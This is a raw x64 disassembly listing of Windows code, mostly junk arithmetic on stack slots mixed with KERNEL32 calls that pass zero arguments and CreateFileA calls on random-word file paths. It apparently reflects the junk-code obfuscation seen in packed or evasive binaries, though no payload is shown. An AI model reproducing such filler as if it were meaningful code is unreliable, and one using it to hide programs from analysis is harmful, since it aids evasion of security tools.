mov dword [rsp + 0x471c], eax
mov rax, qword [rsp + 0x9df0]
mov qword [rsp + 0xa6a0], rax
mov rax, qword [rsp + 0x96a0]
mov rcx, qword [rsp + 0x9858]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x99d0], rax
mov rax, qword [rsp + 0xa210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x450c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4538], eax
movzx eax, word [rsp + 0xc9c]
mov word [rsp + 0xe68], ax
lea rax, [rsp + 0x5c]
mov qword [0x1401e7690], rax
mov rax, qword [rsp + 0xa3b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e743e]
shl eax, cl
mov rcx, qword [rsp + 0xa4b0]
mov byte [rcx], al
movzx ecx, word [rsp + 0xdcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc48], ax
movzx eax, word [rsp + 0xc60]
mov word [rsp + 0xe6c], ax
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ca8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0xa498]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8f68], rax
mov rax, qword [rsp + 0x8f88]
mov rax, qword [rax]
mov qword [rsp + 0xa6a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9ae8]
mov qword [rsp + 0xa6b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa300]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4244]
mov dword [rsp + 0x4720], eax
movsx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x9240]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov byte [rcx], al
lea rcx, [rsp + 0x255e8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xa0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe68]
sub eax, ecx
mov rcx, qword [0x1401e74c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe44], ax
lea rdx, [rsp + 0x4724]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45a0], eax
lea rax, [rsp + 0xdbc]
mov qword [rsp + 0xa6b8], rax
mov rcx, qword [rsp + 0xa258]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4620], eax
movsx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9888]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x441c], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov qword [rsp + 0xa6c0], rax
mov rax, qword [rsp + 0xa470]
mov rcx, qword [rsp + 0xa068]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9588]
mov ecx, dword [rsp + 0x4634]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xa1e0]
mov qword [rsp + 0xa6c8], rax
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0xa518]
mov byte [rcx], al
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0xa2c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e7448]
mov byte [rcx], al
lea rax, [rsp + 0xcac]
mov qword [rsp + 0xa6d0], rax
movsx eax, word [rsp + 0xe4c]
movsx ecx, word [rsp + 0xdc4]
add eax, ecx
mov word [rsp + 0xc9c], ax
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0xdc], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x617e
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4724], eax
xor edx, edx
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9150]
div dword [rcx]
mov dword [rsp + 0x44bc], eax
mov rax, qword [rsp + 0x9f50]
mov rcx, qword [rsp + 0x9658]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4600], eax
mov rax, qword [rsp + 0x8e10]
mov qword [rsp + 0xa6d8], rax
mov rax, qword [rsp + 0xa168]
mov rcx, qword [rsp + 0x9ef8]
mov qword [rsp + 0xa6e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9d88]
mov qword [rcx], rax
lea rax, [rsp + 0xd3]
mov qword [rsp + 0xa6e8], rax
mov rax, qword [rsp + 0x9ec0]
movzx eax, byte [rax]
mov byte [0x1401e746f], al
movzx eax, word [0x1401e7590]
movzx ecx, word [rsp + 0xe3c]
or eax, ecx
mov rcx, qword [rsp + 0x9350]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x94d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcd0]
sar eax, cl
mov word [rsp + 0xd64], ax
lea rax, [rsp + 0xbf4]
mov qword [rsp + 0xa6f0], rax
mov rax, qword [0x1401e75e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc84]
and eax, ecx
mov word [rsp + 0xe1c], ax
mov eax, dword [rsp + 0x46bc]
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0x8fa0]
mov ecx, dword [rsp + 0x44e4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x43ac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9048]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9968]
mov rax, qword [rax]
mov qword [rsp + 0xa700], rax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa668]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e605e], al
mov rax, qword [rsp + 0x9b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba0]
add eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
lea rdx, [rsp + 0x468c]
mov rcx, qword [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46a8], eax
lea rax, [rsp + 0xca]
mov qword [rsp + 0xa708], rax
movzx eax, byte [rsp + 0x89]
mov rcx, qword [rsp + 0x9ca8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov byte [rcx], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0xa710], rax
mov eax, dword [rsp + 0x4474]
mov ecx, dword [rsp + 0x44dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4420], eax
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0x9298]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9fb0]
mov qword [rcx], rax
lea rax, [rsp + 0x99d0]
mov qword [rsp + 0xa718], rax
mov eax, dword [rsp + 0x4464]
mov ecx, dword [rsp + 0x46c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fe8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc5c]
movzx ecx, word [0x1401e6080]
sub eax, ecx
mov word [0x1401e6090], ax
lea rcx, [rsp + 0xa568]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xccc]
mov qword [rsp + 0xa720], rax
movzx eax, word [rsp + 0xe44]
movzx ecx, word [rsp + 0xe3c]
sub eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x472c], eax
mov rax, qword [rsp + 0xa588]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7680]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov byte [rcx], al
lea rdx, [rsp + 0x281f0]
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4314], eax
lea rax, [rsp + 0xbf]
mov qword [rsp + 0xa728], rax
mov rax, qword [rsp + 0x94e8]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4688], eax
lea rax, [rsp + 0x9210]
mov qword [rsp + 0xa730], rax
mov eax, dword [rsp + 0x4434]
movzx ecx, al
mov eax, dword [rsp + 0x4678]
shl eax, cl
mov rcx, qword [rsp + 0x9fe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d70]
mov qword [rsp + 0xa738], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa738]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x91f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, word [0x1401e75b8]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1401e7578]
mov word [rcx], ax
mov dword [rsp + 0x2a260], 0x94
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x98a0]
movzx eax, byte [rax]
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xa090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9df8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov byte [rcx], al
lea rax, [0x1401e74e0]
mov qword [rsp + 0xa740], rax
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x46e4], eax
mov rax, qword [rsp + 0x9cd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f58]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa740]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9548]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f68], rax
lea rax, [rsp + 0x4688]
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x93c8], rax
lea rax, [rsp + 0x44e8]
mov qword [rsp + 0xa750], rax
lea rcx, [rsp + 0x25610]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0x9b20]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60a4], ax
movzx eax, byte [rsp + 0x9e]
movzx ecx, byte [rsp + 0xbe]
sub eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov byte [rcx], al
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x43c8], eax
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xe70], ax
movzx ecx, word [rsp + 0xbfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd30], ax
mov rax, qword [rsp + 0x9bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7e]
and eax, ecx
mov byte [rsp + 0x7f], al
movzx eax, word [rsp + 0xbd4]
movzx ecx, word [rsp + 0xc78]
sub eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0xa470]
mov eax, dword [rax]
mov dword [rsp + 0x4730], eax
mov rax, qword [rsp + 0x9fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9548]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa290], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
lea rax, [rsp + 0x458c]
mov qword [rsp + 0xa758], rax
mov rax, qword [rsp + 0x96a8]
mov rcx, qword [rsp + 0xa428]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9468]
movzx eax, byte [rax]
mov byte [0x1401e7492], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, word [rsp + 0xcd0]
mov rcx, qword [rsp + 0x9da0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd8c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0xa760], rax
movsx eax, byte [rsp + 0x6d]
movsx ecx, byte [rsp + 0xcb]
shl eax, cl
mov byte [rsp + 0x61], al
lea rax, [rsp + 0xd7c]
mov qword [rsp + 0xa768], rax
mov eax, dword [rsp + 0x4384]
mov rcx, qword [rsp + 0x9f00]
mov qword [rsp + 0xa770], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa770]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4484], eax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x9ba0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9fa0], rax
lea rax, [rsp + 0xa0f0]
mov qword [rsp + 0xa778], rax
mov eax, dword [rsp + 0x4434]
mov ecx, dword [rsp + 0x4488]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x445c], eax
lea rcx, [rsp + 0x2a080]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4234], eax
mov rax, qword [0x1401e75d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e604b], al
movzx eax, word [rsp + 0xc28]
mov word [rsp + 0xe74], ax
mov rax, qword [rsp + 0x9888]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9c]
add eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0xa310]
movzx eax, word [rax]
mov word [rsp + 0xe78], ax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4464]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:wader_artierpeacemakers_ramblers
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa780], rax
mov rax, qword [rsp + 0x8f00]
mov eax, dword [rax]
mov dword [rsp + 0x4734], eax
mov rax, qword [rsp + 0x9e60]
mov rcx, qword [rsp + 0x9968]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa118], rax
mov rax, qword [rsp + 0x97b8]
mov rax, qword [rax]
mov qword [rsp + 0xa788], rax
movsx eax, word [0x1401e74e0]
movsx ecx, word [rsp + 0xcd4]
sub eax, ecx
mov word [0x1401e60a8], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [rsp + 0x90], al
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0xd68]
sub eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov word [rcx], ax
lea rax, [rsp + 0xae]
mov qword [rsp + 0xa790], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0xbc]
shl eax, cl
mov rcx, qword [rsp + 0xa4b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov qword [rsp + 0xa798], rax
mov eax, dword [rsp + 0x4370]
mov rcx, qword [rsp + 0x8cd0]
mov qword [rsp + 0xa7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4548]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96f8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x9de0]
mov rax, qword [rax]
mov qword [rsp + 0xa7a8], rax
movzx eax, word [rsp + 0xda4]
movzx ecx, word [rsp + 0xe74]
xor eax, ecx
mov word [rsp + 0xd70], ax
mov rax, qword [rsp + 0xa710]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [0x1401e7478]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9078], rax
lea rax, [0x1401e746c]
mov qword [rsp + 0xa7b0], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42dc], eax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4738], eax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9f58]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9990], rax
movsx eax, byte [rsp + 0xbd]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [rsp + 0xa198]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [0x1401e6020]
mov qword [rsp + 0xa7b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:Showgroundcompliment
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa7c0], rax
mov rax, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0xa6a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa718]
mov qword [rcx], rax
lea rax, [rsp + 0x4710]
mov qword [rsp + 0xa7c8], rax
mov rax, qword [rsp + 0x8fc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4444]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x457c], eax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0xa7d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7530]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9e]
movzx ecx, byte [rsp + 0x9b]
sub eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0xa090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x97]
sub eax, ecx
mov rcx, qword [rsp + 0xa248]
mov byte [rcx], al
mov rax, qword [rsp + 0x99b8]
movzx eax, byte [rax]
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x8f68]
mov rcx, qword [0x1401e6020]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93e0]
mov rax, qword [rax]
mov qword [rsp + 0xa7d8], rax
mov eax, dword [rsp + 0x45fc]
mov ecx, dword [rsp + 0x423c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4630], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x9568]
mov ecx, dword [rsp + 0x4628]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4670], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rax, [rsp + 0xdc4]
mov qword [rsp + 0xa7e0], rax
lea rax, [rsp + 0xc50]
mov qword [0x1401e7698], rax
movzx eax, byte [rsp + 0x75]
mov rcx, qword [0x1401e75d0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa630]
mov byte [rcx], al
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0xa7e8], rax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0xa650]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcec], ax
movzx ecx, word [rsp + 0xd24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe7c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9990], rax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0xa430]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa7b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4418]
mov dword [rsp + 0x473c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42dc], eax
mov rax, qword [rsp + 0xa500]
mov rcx, qword [rsp + 0x9ba0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c98], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
lea rax, [rsp + 0x4504]
mov qword [rsp + 0xa7f0], rax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x8f]
sub eax, ecx
mov rcx, qword [rsp + 0xa198]
mov byte [rcx], al
mov rax, qword [rsp + 0xa688]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9020]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e60ac], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9d30], rax
movsx eax, word [rsp + 0xc4c]
movsx ecx, word [rsp + 0xe70]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa400]
movzx eax, byte [rax]
mov byte [rsp + 0xdf], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xa7f8], rax
movzx eax, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0xac], al
lea rax, [rsp + 0xdb4]
mov qword [rsp + 0xa800], rax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9df0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
lea rax, [rsp + 0x42d4]
mov qword [rsp + 0xa808], rax
mov rax, qword [rsp + 0x9a08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa138]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ac0]
mov rcx, qword [rsp + 0x9cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43cc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9688], rax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0x90e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e60ac], ax
mov rax, qword [0x1401e7550]
movzx eax, byte [rax]
mov byte [rsp + 0xe0], al
movzx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x9618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa668]
mov byte [rcx], al
mov edx, 0x676997
mov rcx, qword [rsp + 0x97c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4660], eax
lea rcx, [rsp + 0x94b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xa810], rax
lea rax, [rsp + 0xbdc]
mov qword [rsp + 0xa818], rax
movsx eax, byte [0x1401e601f]
movsx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x92b0]
movzx ecx, al
mov rax, qword [rsp + 0x9048]
shl rax, cl
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov eax, dword [rsp + 0x43cc]
mov dword [rsp + 0x4740], eax
mov rax, qword [rsp + 0xa5a8]
mov rcx, qword [0x1401e7420]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c48], rax
lea rax, [rsp + 0x4444]
mov qword [rsp + 0xa820], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov word [0x1401e76a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [0x1401e603c]
xor eax, ecx
mov word [rsp + 0xe78], ax
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe0]
sar eax, cl
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9020]
movzx eax, word [rax]
mov word [rsp + 0xe84], ax
mov edx, 0x6fc489
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x44d4], eax
mov rax, qword [rsp + 0xa1c8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e605e]
and eax, ecx
mov rcx, qword [rsp + 0x9028]
mov byte [rcx], al
lea rax, [rsp + 0x9d78]
mov qword [rsp + 0xa828], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, str.exquisiteness_sundial_Behaved_Area
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xe88], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov edx, 0x1c76
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4648], eax
movzx ecx, word [rsp + 0xbbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe8c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x94e8]
mov rcx, qword [rsp + 0x9198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4554], eax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov qword [rsp + 0xa830], rax
mov eax, dword [rsp + 0x43cc]
mov ecx, dword [rsp + 0x465c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x9df8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
and eax, ecx
mov byte [0x1401e7418], al
mov rax, qword [rsp + 0xa1c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85]
add eax, ecx
